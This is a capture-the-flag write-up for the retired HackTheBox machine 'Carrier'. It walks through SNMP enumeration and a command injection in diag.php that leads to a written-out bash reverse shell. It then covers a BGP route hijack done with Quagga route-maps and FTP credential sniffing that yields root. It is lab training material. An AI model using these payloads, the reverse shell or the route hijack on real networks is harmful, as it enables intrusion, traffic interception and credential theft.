Skip to content

Latest commit

 

History

History
363 lines (281 loc) · 10.4 KB

write-up-carrier.md

File metadata and controls

363 lines (281 loc) · 10.4 KB

Carrier

This is the write-up for the box Carrier that got retired at the 16th March 2019. My IP address was 10.10.14.17 while I did this.

Let's put this in our hosts file:

10.10.10.105    carrier.htb

Enumeration

Starting with a Nmap scan:

nmap -sC -sV -o nmap/carrier.nmap 10.10.10.105
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
|   256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_  256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open     http    Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP port scan:

nmap -sU 10.10.10.105
PORT    STATE         SERVICE
67/udp  open|filtered dhcps
161/udp open|filtered snmp

Noteworthy:

  • FTP is filtered and thus there is some firewall inbetween
  • OpenSSH 7.6p1 belongs to Ubuntu Bionic Beaver
  • Apache 2.4.18 belongs to Ubuntu Xenial

This means that there is a mismatch in distribution versions and eventually some virtualization running in the background.

Checking HTTP (Port 80)

On the web page is a login form to an application called Lyghtspeed and it shows two error codes:

Lyghtspeed login form

Searching the Internet does not find anything about this application, so it is most likely a custom application. Lets search for hidden directories with Gobuster:

gobuster -u http://10.10.10.105 dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

It finds some interesting directories:

  • /tools

This directory is an index page with one file called remote.php. When clicking on it, it shows a message:

License expired, exiting...
  • /doc

This directory is an index page with two files diagram_for_tac.png and error_codes.pdf. The image file shows some network information:

Diagram for tac

The PDF file seems to be a manual for the Lyghtspeed Management Platform and shows descriptions to error codes:

Lyghtspeed manual

So error code 45007 says that the certificate is invalid or expired, which explains why remote.php did not work. The error code 45009 says that the password for admin is the chassis serial number, which could be found in the SNMP strings.

Checking SNMP (Port 161)

Lets enumerate the default SNMP community string "public":

snmpwalk -v2c -c public 10.10.10.105
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"

The part after the "SN#" looks like the serial number. Access is granted with the user admin and "NET_45JDX23".

Getting Command Execution

After logging into the Lyghtspeed platform, it shows a dashboard, diagnostics and tickets menu. Two tickets from Castcom, that were also in the diagram_for_tac.png as AS300, are some hints for the next steps:

Lyghtspeed tickets

  • Networks:
    • 10.120.15.0/24
    • 10.120.16.0/24
    • 10.120.17.0/24
  • FTP service on the 10.120.15.0/24 network, which could be the FTP service from the initial Nmap scan
  • BGP: Border Gateway Protocol to exchange routing and reachability information among autonomous systems (AS) on the Internet

The diagnostics menu has a "Verify Status" button that shows some process information:

Lyghtspeed diagnostics

After sending this to a proxy tool like Burpsuite and analyze it, it requests the data "check=cXVhZ2dh" which Base64-decoded translates to "quagga":

echo 'cXVhZ2dh' | base64 -d

The software Quagga is an Open-Source routing software that supports various routing protocols including BGP. As the screenshot shows, this feature seems to filter for the word "quagga" so when Base64-encoding the string "root" and sending the request, it filters for that:

POST /diag.php HTTP/1.1
(...)
check=cm9vdA==

This shows all processes that contain the word root which means that in the background it runs grep. Adding another command to the request by using a semicolon:

echo 'root; echo "Test"' | base64
POST /diag.php HTTP/1.1
(...)
check=cm9vdDsgZWNobyAiVGVzdCIK

The response also displays "Test" and proofs command execution, so lets start a reverse shell connection:

echo 'root; bash -i >& /dev/tcp/10.10.14.17/9001 0>&1' | base64
POST /diag.php HTTP/1.1
(...)
check=cm9vdDsgYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNy85MDAxIDA+JjEK

After URL-decoding the Base64-string and sending the request, the listener on my IP and port 9001 starts a reverse shell connection as root. This is not the target machine yet as the hostname is r1 and ifconfig shows the following IP addresses:

  • eth0: 10.99.64.2
  • eth1: 10.78.10.1
  • eth2: 10.78.11.1

The file /proc/1/environ also shows that this is a LXC container instance:

container=lxc

Enumerating the Network

Enumerating ARP table with arp:

Address           Iface
10.99.64.1        eth0
10.78.11.2        eth2
10.99.64.251      eth0
10.78.10.2        eth1

Enumerating network connections with netstat -alnp:

127.0.0.1:2601          0.0.0.0:*         LISTEN      2872/zebra
127.0.0.1:2605          0.0.0.0:*         LISTEN      2876/bgpd
0.0.0.0:179             0.0.0.0:*         LISTEN      2876/bgpd
0.0.0.0:22              0.0.0.0:*         LISTEN      485/sshd
:::179                  :::*              LISTEN      2876/bgpd
:::22                   :::*              LISTEN      485/sshd

Enumerating cronjobs with crontab -l:

*/10 * * * * /opt/restore.sh

Contents of /opt/restore.sh:

systemctl stop quagga
killall vtysh
cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf
cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf
systemctl start quagga

Contents of /etc/quagga/bgpd.conf:

(...)
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 route-map to-as300 out
(...)

These are the connections that were shown in the diagram_for_tac. The command vtysh starts the Quagga shell where this configuration can also be seen. This command line is similar to Cisco devices.

Pinging the IP 10.120.15.1 with the FTP service works and 10.10.10.105 also responds back. A better way to enumerate the network is to upload a static Nmap binary onto this box to scan for services.

curl 10.10.14.17/static_nmap -o nmap

chmod +x nmap

Scanning for open port 21 on 10.120.15.0/24:

./nmap -Pn -p 21 10.120.15.0/24 --open
Nmap scan report for 10.120.15.10

PORT   STATE SERVICE
21/tcp open  ftp

It found the client 10.120.15.10 with port 21 open and connecting to the FTP service via anonymous login works, but the dir command responds with the error code 500:

ftp 10.120.15.10

ftp> dir
500 Illegal PORT command.

All the information collected has something to do with BGP so lets attack that protocol.

Attacking Border Gateway Protocol (BGP)

There are two networks and with the Quagga shell it is possible to trace which of those route to 10.120.15.10:

vtysh
r1# show ip route 10.120.15.10

Routing entry for 10.120.15.0/24
  Known via "bgp", distance 20, metric 0, best
  Last update 00:00:40 ago
  * 10.78.11.2, via eth2

The network 10.78.11.0/24 (AS300) routes there.

More BGP information:

r1# show ip bgp summary

Neighbor        V   AS
10.78.10.2      4   200
10.78.11.2      4   300

We rename /opt/restore.sh so that it does not reset our configurations and can start a BGP Hijack by advertising our own route:

r1# configure t

r1(config)# router bgp 100

r1(config-router)# network 10.120.15.0/25

r1# clear ip bgp * out

Sniffing the traffic with tcpdump for FTP packets:

tcpdump -i any -w ftp-1.pcap port 21

After sniffing for a little while, the PCAP file can be downloaded to our local client for analysis with Wireshark. It shows the captured packets, but the TCP handshake never completes.

This happens because the route from AS200 sends the packets to us (AS100) and forwards them from there to AS300 where the FTP server is.

r1# show ip bgp neighbors 10.78.11.2 advertised-routes

Network           Next Hop
10.120.15.0/25    10.78.11.1

So the advertising route to AS300 (10.78.10.0/24) has to be blocked:

r1# conf t

r1(config)# ip prefix-list Hijack permit 10.120.15.0/25
r1(config)# route-map to-as300 deny 5

r1(config-route-map)# match ip address prefix-list Hijack

r1# clear ip bgp * out

The new configurations is successfully deployed:

r1# show running-config

(...)
ip prefix-list Hijack seq 5 permit 10.120.15.0/25
!
route-map to-as300 deny 5
 match ip address prefix-list Hijack
(...)

Now configuring the route to AS200 that when a packet reaches it, it shall not advertise the packet to anyone:

r1# conf t

r1(config)# route-map to-as200 permit 5

r1(config-route-map)# match ip address prefix-list Hijack
r1(config-route-map)# set community no-export
r1(config-route-map)# end

r1# clear ip bgp * out

Sniffing the traffic with tcpdump for FTP packets again:

tcpdump -i any -w ftp-2.pcap port 21

After sniffing for a little while, the PCAP file can be downloaded to our local client for analysis with Wireshark. It shows the captured packets and FTP login credentials:

Wireshark capture FTP credentials

BGPtelc0rout1ng

Logging in on the FTP service from the current box with root and following the steps from the screenshot:

ftp 10.120.15.10

ftp> binary
ftp> passive

ftp> dir
-r--------    1 0        0              33 Jul 01  2018 root.txt
-rw-------    1 0        0              33 Nov 28 17:33 secretdata.txt

The password also works on the main box 10.10.10.105 via SSH and gets us root on the box!

ssh root@10.10.10.105